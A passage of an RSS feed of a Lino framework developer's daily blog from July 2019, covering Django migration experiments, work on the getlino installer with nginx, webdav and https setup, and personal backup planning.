&lt;/section&gt;
&lt;section id="community-guide"&gt;
&lt;h2&gt;Community Guide&lt;a class="headerlink" href="#community-guide" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;General top-level structure of the &lt;a class="reference external" href="https://community.lino-framework.org/index.html#cg" title="(in Lino Community Guide)"&gt;&lt;span class="xref std std-ref"&gt;cg&lt;/span&gt;&lt;/a&gt; should probably be:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;About this document (free to use in your agreements, maintained by the LSF, …)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;About the LSF (actors, contacts, …)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;About Lino projects (life cycle, …)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Community rules (agreements, …)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="django-migrations"&gt;
&lt;h2&gt;Django migrations&lt;a class="headerlink" href="#django-migrations" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I’d like us to start playing with Django migrations.
Here are some instructions for getting started with &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/2322"&gt;#2322&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Preliminary readings:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://realpython.com/django-migrations-a-primer/"&gt;https://realpython.com/django-migrations-a-primer/&lt;/a&gt; is a good introduction to the topic.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://realpython.com/digging-deeper-into-migrations/"&gt;https://realpython.com/digging-deeper-into-migrations/&lt;/a&gt; important to understand&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To start playing, you can now go to cosi demo project (e.g. cosi1 or cosi2) and
run &lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;makemigrations&lt;/span&gt;&lt;/code&gt;.  You will get:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ pm makemigrations
No changes detected
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;No Lino plugin has a &lt;a class="reference external" href="https://dev.lino-framework.org/specs/migrate.html#xfile-migrations" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;migrations&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; directory, which means for Django that
no plugin participates in the migrations game.&lt;/p&gt;
&lt;p&gt;You can say:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ pm makemigrations contacts
Migrations for &amp;#39;contacts&amp;#39;:
  /path/to/work/cosi/lino_cosi/lib/contacts/migrations/0001_initial.py
    - Create model CompanyType
    - Create model Partner
    - Create model Role
    - Create model RoleType
    - Create model Company
    - Create model Person
    - Add field type to role
    - Add field city to partner
    - Add field country to partner
    - Add field payment_term to partner
    - Add field purchase_account to partner
    - Add field region to partner
    - Add field company to role
    - Add field person to role
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But that won’t help us because it creates the migrations in the wrong place.
Django migrations cannot be stored individually per plugin because the database
structure of a plugin can vary depending on other plugins of the application.&lt;/p&gt;
&lt;p&gt;So please remove the
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/path/to/work/cosi/lino_cosi/lib/contacts/migrations&lt;/span&gt;&lt;/code&gt; before going on.&lt;/p&gt;
&lt;p&gt;When &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;migration_module&lt;/span&gt;&lt;/code&gt; is &lt;cite&gt;None&lt;/cite&gt;,&lt;/p&gt;
&lt;p&gt;Now uncomment the following line in
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_cosi.lib.cosi.settings&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;Site&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Site&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="o"&gt;...&lt;/span&gt;
    &lt;span class="n"&gt;migration_module&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;lino_cosi.lib.cosi&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;When &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;migration_module&lt;/span&gt;&lt;/code&gt;
is set, Lino automatically sets the &lt;code class="xref std std-setting docutils literal notranslate"&gt;&lt;span class="pre"&gt;MIGRATION_MODULES&lt;/span&gt;&lt;/code&gt;
setting to something like this:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;MIGRATION_MODULES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
   &lt;span class="s2"&gt;&amp;quot;contacts&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;lino_cosi.lib.cosi`,&lt;/span&gt;
   &lt;span class="s2"&gt;&amp;quot;ledger&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;lino_cosi.lib.cosi`,&lt;/span&gt;
   &lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;IOW for all plugins that have at least one model, if adds an item to that
dictionary.&lt;/p&gt;
&lt;p&gt;The &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;migration_module&lt;/span&gt;&lt;/code&gt; specifies
the &lt;em&gt;main plugin*&lt;/em&gt; of an application.  For &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#cosi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Così&lt;/span&gt;&lt;/a&gt; this would be
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_cosi.lib.cosi.html#module-lino_cosi.lib.cosi" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_cosi.lib.cosi&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Note that the &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_cosi.lib.cosi.html#module-lino_cosi.lib.cosi" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_cosi.lib.cosi&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; plugin has already a central role
because it holds the &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;locales&lt;/span&gt;&lt;/code&gt; directory for all cosi plugins.  It would
now also hold a &lt;a class="reference external" href="https://dev.lino-framework.org/specs/migrate.html#xfile-migrations" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;migrations&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;  directory.&lt;/p&gt;
&lt;p&gt;Now try again to run &lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;makemigrations&lt;/span&gt;&lt;/code&gt;.  You will get:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;migrations&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exceptions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;BadMigrationError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Migration&lt;/span&gt; &lt;span class="n"&gt;user_types&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;Migration&lt;/span&gt; &lt;span class="k"&gt;class&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I guess that this caused by the choicelist fields which do not yet have a
&lt;a class="reference external" href="https://docs.djangoproject.com/en/6.0/topics/migrations/#serializing-values"&gt;serializer&lt;/a&gt;
defined or because the &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;deconstruct()&lt;/span&gt;&lt;/code&gt; method is wrong. See &lt;a class="reference external" href="https://docs.djangoproject.com/en/6.0/topics/migrations/#adding-a-deconstruct-method"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Next step for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/2322"&gt;#2322&lt;/a&gt; would be to get this to pass and to generate an
initial migration in &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_cosi/lib/cosi/migrations&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="more-getlino"&gt;
&lt;h2&gt;more getlino&lt;a class="headerlink" href="#more-getlino" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I reviewed and continued my work on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3036"&gt;#3036&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Hamza, you really don’t need to prefix “sudo” to every command sent to
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Installer.runcmd()&lt;/span&gt;&lt;/code&gt; because anyway the whole script must run as root.&lt;/p&gt;
&lt;p&gt;Yes it is important to set umask for the nginx server process as well (not just
for each uwsgi process in supervisor where it is also required). nginx seems to
also create e.g. &lt;cite&gt;.pyc&lt;/cite&gt; or &lt;cite&gt;.js&lt;/cite&gt; files. It is not normal that I need sudo to
remove a project directory. The default system umask is 0022, that is, it
removes the group write permission on new files.&lt;/p&gt;
&lt;p&gt;But how to do this? I found that &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/init.d/nginx&lt;/span&gt;&lt;/code&gt; sources another file
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/default/nginx&lt;/span&gt;&lt;/code&gt;. So I made getlino add a line “umask 0002” to that
file. (I read &lt;a class="reference external" href="https://serverfault.com/questions/772259/nginx-doesnt-apply-variables-in-etc-default-nginx"&gt;here&lt;/a&gt;
that this should no longer be used because Debian now uses systemd. But in
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/systemd/system&lt;/span&gt;&lt;/code&gt; I cannot find anything related to nginx.) After
doing this, I saw that actually my supervisor conf files were &lt;em&gt;not&lt;/em&gt; setting the
umask! &lt;em&gt;This&lt;/em&gt; was the problem. The nginx main process does &lt;em&gt;not&lt;/em&gt; create any
files and therefore does not need an umask.&lt;/p&gt;
&lt;p&gt;My version of this morning didn’t yet work with &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#cmdoption-getlino-configure-webdav" title="(in getlino docs)"&gt;&lt;code class="xref std std-option docutils literal notranslate"&gt;&lt;span class="pre"&gt;--webdav&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; because the
&lt;cite&gt;client_body_temp_path&lt;/cite&gt; in nginx.conf pointed to a non-existing path. Now it
points to &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/tmp&lt;/span&gt;&lt;/code&gt;. Not sure whether this is what we want, but seems to
work for me. I did yet actually test a webdav access (&lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#avanti" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Avanti&lt;/span&gt;&lt;/a&gt; would be
good for testing, but currently startsite still fails with an avanti site).&lt;/p&gt;
&lt;p&gt;I removed creation of a reminder in :fixture`demo2` of avanti because it failed
under mysql. Not yet tested whether this affects the test suite.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0727.html</guid><pubDate>Sat, 27 Jul 2019 00:00:00 +0000</pubDate></item><item><title>Friday, July 26, 2019</title><link>https://luc.lino-framework.org/blog/2019/0726.html</link><description>&lt;section id="friday-july-26-2019"&gt;
&lt;h1&gt;Friday, July 26, 2019&lt;a class="headerlink" href="#friday-july-26-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="stand-up-meeting"&gt;
&lt;h2&gt;Stand-up meeting&lt;a class="headerlink" href="#stand-up-meeting" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Tonis is working on miscellaneous tickets (calendar view, …).&lt;/p&gt;
&lt;p&gt;Hamza and I are both working on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3036"&gt;#3036&lt;/a&gt;.  &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/index.html#getlino" title="(in getlino docs)"&gt;&lt;span&gt;getlino : the Lino installer&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Hamza will try to get &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#cmdoption-getlino-configure-https" title="(in getlino docs)"&gt;&lt;code class="xref std std-option docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;configure&lt;/span&gt; &lt;span class="pre"&gt;--https&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to work. The
challenge is that he needs to setup a testing environment: create an account at
dynu.com to get a public domain name, then setup his router correctly.&lt;/p&gt;
&lt;p&gt;I will try to continue with the webdav support.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0726.html</guid><pubDate>Fri, 26 Jul 2019 00:00:00 +0000</pubDate></item><item><title>Thursday, July 25, 2019</title><link>https://luc.lino-framework.org/blog/2019/0725.html</link><description>&lt;section id="thursday-july-25-2019"&gt;
&lt;h1&gt;Thursday, July 25, 2019&lt;a class="headerlink" href="#thursday-july-25-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Note that yesterday was a historic day: I saw for the first time a production
Lino running under nginx.  I believe that nginx is better for Lino than apache
because it is more lightweight and in Python. Until now we always used apache
as web server.  The &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/index.html#getlino" title="(in getlino docs)"&gt;&lt;span&gt;getlino : the Lino installer&lt;/span&gt;&lt;/a&gt; project gave us motivation to do the step.&lt;/p&gt;
&lt;section id="getlino"&gt;
&lt;h2&gt;getlino&lt;a class="headerlink" href="#getlino" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I had a nightly session for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3036"&gt;#3036&lt;/a&gt; (&lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/index.html#getlino" title="(in getlino docs)"&gt;&lt;span&gt;getlino : the Lino installer&lt;/span&gt;&lt;/a&gt;):&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;added configs for monit and logrotate&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;libreoffice was being started as www-data (must be root)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;fixed at least one other bug&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;optimized the user experience by avoiding useless questions&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;new method Installer.override_batch()&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="getlino-2"&gt;
&lt;h2&gt;getlino 2&lt;a class="headerlink" href="#getlino-2" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Morning session: get http basic auth and webdav to work.&lt;/p&gt;
&lt;p&gt;Which variant of the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;nginx&lt;/span&gt;&lt;/code&gt; system package do we need? light, full, extras?&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://askubuntu.com/questions/553937/what-is-the-difference-between-the-core-full-extras-and-light-packages-for-ngi"&gt;https://askubuntu.com/questions/553937/what-is-the-difference-between-the-core-full-extras-and-light-packages-for-ngi&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="http://nginx.org/en/docs/http/ngx_http_dav_module.html"&gt;http://nginx.org/en/docs/http/ngx_http_dav_module.html&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://starbeamrainbowlabs.com/blog/article.php?article=posts%2F237-WebDav-Nginx-Setup.html"&gt;https://starbeamrainbowlabs.com/blog/article.php?article=posts%2F237-WebDav-Nginx-Setup.html&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://wiki.debian.org/Nginx"&gt;https://wiki.debian.org/Nginx&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The last mentioned link says it cleary : ‘light’, ‘full’ and ‘extras’ contain
different modules, nginx-light being the lighter and nginx-extras being the
heavier. nginx-full is in the middle, being installed with the metapackage
nginx (nginx-full is not installed if nginx-light is already installed).&lt;/p&gt;
&lt;p&gt;As it seems we just need nginx (the meta package which actually will install
nginx-full), which has both
&lt;a class="reference external" href="http://nginx.org/en/docs/http/ngx_http_auth_basic_module.html"&gt;AuthBasic&lt;/a&gt;
and
&lt;a class="reference external" href="http://nginx.org/en/docs/http/ngx_http_dav_module.html"&gt;WebDav&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Actually in weleup they need (1) LDAP authentication and (2) webdav. The http
basic authentication is actually rather disturbing for them because it means
that they need to close their browser if they want to sign in using another
account.&lt;/p&gt;
&lt;p&gt;I re-discovered &lt;a class="reference external" href="https://hosting.lino-framework.org/topics/auth/#admin-auth" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;Authentication&lt;/span&gt;&lt;/a&gt; and reviewed it.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="nginx-and-certbot-https"&gt;
&lt;h2&gt;nginx and certbot (&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--https&lt;/span&gt;&lt;/code&gt;)&lt;a class="headerlink" href="#nginx-and-certbot-https" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Hamza and I had a look at &lt;a class="reference external" href="https://wiki.debian.org/FreedomBox/Manual/DynamicDNS"&gt;FreedomBox&lt;/a&gt;, but it seems that
this is not maintained. &lt;a class="reference external" href="https://www.dynu.com/DynamicDNS/IPUpdateClient/Linux"&gt;dynu.com&lt;/a&gt; seems more
sustainable.&lt;/p&gt;
&lt;p&gt;getlino must &lt;em&gt;not&lt;/em&gt; also provide a &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--dynamic-ip&lt;/span&gt;&lt;/code&gt; option (to
automatically install some dns client), so the choice of how a domain name
point to the server remains responsibility of the getlino user (the server
operator).&lt;/p&gt;
&lt;p&gt;Hamza also discovered ngrok.io who provide both : dynamic IP and https. But
that’s unfortunately not useful to use since neither Hamza nor I want to really
serve content, we just need a dynamic dns client to simulate the situation of a
real Lino server with static IP.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0725.html</guid><pubDate>Thu, 25 Jul 2019 00:00:00 +0000</pubDate></item><item><title>Wednesday, July 24, 2019</title><link>https://luc.lino-framework.org/blog/2019/0724.html</link><description>&lt;section id="wednesday-july-24-2019"&gt;
&lt;h1&gt;Wednesday, July 24, 2019&lt;a class="headerlink" href="#wednesday-july-24-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="getlino"&gt;
&lt;h2&gt;getlino&lt;a class="headerlink" href="#getlino" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I pulled Hamza’s changes in &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/index.html#getlino" title="(in getlino docs)"&gt;&lt;span&gt;getlino : the Lino installer&lt;/span&gt;&lt;/a&gt; and &lt;cite&gt;cookiecutter-startsite&lt;/cite&gt; and tried whether I
can use &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/startsite.html#command-getlino-startsite" title="(in getlino docs)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;startsite&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to run.&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;$ sudo -H getlino.py configure
$ sudo -H getlino.py startsite noi a&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;But &lt;a class="reference external" href="http://a.localhost/"&gt;http://a.localhost/&lt;/a&gt; still shows the “Apache2 Ubuntu Default Page”.
Although yesterday I had done:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt remove apache2
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I run:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt autoremove
$ sudo service nginx reload
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;No change.  Okay I see that I have two files in my &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/var/www/html&lt;/span&gt;&lt;/code&gt;:
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;index.html&lt;/span&gt;&lt;/code&gt; and &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;index.nginx-debian.html&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I started reading the &lt;a class="reference external" href="http://nginx.org/en/docs/beginners_guide.html"&gt;Beginner’s Guide&lt;/a&gt; but then decided to stop
here and to continue together with Hamza.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="backup"&gt;
&lt;h2&gt;Backup&lt;a class="headerlink" href="#backup" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;mega.nz reminded me that I haven’t used them for some time. They worry whether
I have a backup copy. Yes, indeed, their client lost its configuration some
time ago when I changed a mountpoint on my notebook.&lt;/p&gt;
&lt;p&gt;Here is what I would like to backup:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Documents 2 GB&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;.thunderbird 26 GB&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;dell1tb/vbshared2/drives 22 GB&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Pictures 347 GB&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;archive 186 GB&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;collect : 17 GB&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Only the first three are critically important. Pictures would be the next
important folder, but I feel too young to pay a monthly fee.  I will rather by
a Raspberry Pi with an external hard disk.&lt;/p&gt;
&lt;p&gt;It took me some time to refresh my brain about how my valuable data is organized…
En passant I updated &lt;a class="reference external" href="https://hosting.lino-framework.org/du/#admin-du" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;Monitoring disk usage&lt;/span&gt;&lt;/a&gt;.
I liked this question on StackExchange:
&lt;a class="reference external" href="https://askubuntu.com/questions/298051/display-folder-sizes-in-file-manager"&gt;Display folder sizes in file manager&lt;/a&gt;.
And it’s a pity that this feature doesn’t exist on Ubuntu.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0724.html</guid><pubDate>Wed, 24 Jul 2019 00:00:00 +0000</pubDate></item><item><title>Tuesday, July 23, 2019</title><link>https://luc.lino-framework.org/blog/2019/0723.html</link><description>&lt;section id="tuesday-july-23-2019"&gt;
&lt;h1&gt;Tuesday, July 23, 2019&lt;a class="headerlink" href="#tuesday-july-23-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Released version 19.7.4 of XL to PyPI. (needed for testing &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/index.html#getlino" title="(in getlino docs)"&gt;&lt;span&gt;getlino : the Lino installer&lt;/span&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;I am working on the interface between getlino and cookiecutter:
the &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/misc.html#xfile-pull.sh" title="(in getlino docs)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;pull.sh&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;make_snapshots.sh&lt;/span&gt;&lt;/code&gt; scripts.&lt;/p&gt;
&lt;p&gt;The cookiecutter.json file is actually useless and even disturbing for us:
cookicutter seems to filter extra_context, accepting only names that are
defined in the cookiecutter.json file. But okay, we can live with this.&lt;/p&gt;
&lt;p&gt;&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;shared-env&lt;/span&gt;&lt;/code&gt; is now a server-side setting (i.e. asked during configure). But
you can also override it in startsite.  On a development machine you will
specify your default working environment here.&lt;/p&gt;
&lt;p&gt;Added a &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--prod/no-prod&lt;/span&gt;&lt;/code&gt;  option.  If you say &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--no-prod&lt;/span&gt;&lt;/code&gt;, you will get a
development server.  This mode is not yet functional. For example it doesn’t
automatically download all repositories.  Can wait. Note that on a development
server you can run startsite without being root because no system files need to
be modified.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#command-getlino-configure" title="(in getlino docs)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;configure&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; now creates a &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_local&lt;/span&gt;&lt;/code&gt; package, and the
&lt;a class="reference external" href="https://hosting.lino-framework.org/settings/#xfile-settings.py" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;settings.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file import &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;*&lt;/span&gt;&lt;/code&gt; from there (in addition to the
application settings).&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/dev/cache.html#setting-STATIC_ROOT" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-setting docutils literal notranslate"&gt;&lt;span class="pre"&gt;STATIC_ROOT&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is set to ‘env/static’. Sites with a shared env also
have shared static files.&lt;/p&gt;
&lt;p&gt;TODO: a newly created site should run in nginx.
Add optional support for
webDAV and basic HTTP authentication.&lt;/p&gt;
&lt;p&gt;TODO (not urgent, we can live with this): avoid mysql asking 3x for the root
password, we should probably use the python-mysql interface when creating the
db and the user: &lt;a class="reference external" href="https://hub.packtpub.com/granting-access-mysql-python/"&gt;https://hub.packtpub.com/granting-access-mysql-python/&lt;/a&gt;&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0723.html</guid><pubDate>Tue, 23 Jul 2019 00:00:00 +0000</pubDate></item><item><title>Monday, July 22, 2019</title><link>https://luc.lino-framework.org/blog/2019/0722.html</link><description>&lt;section id="monday-july-22-2019"&gt;
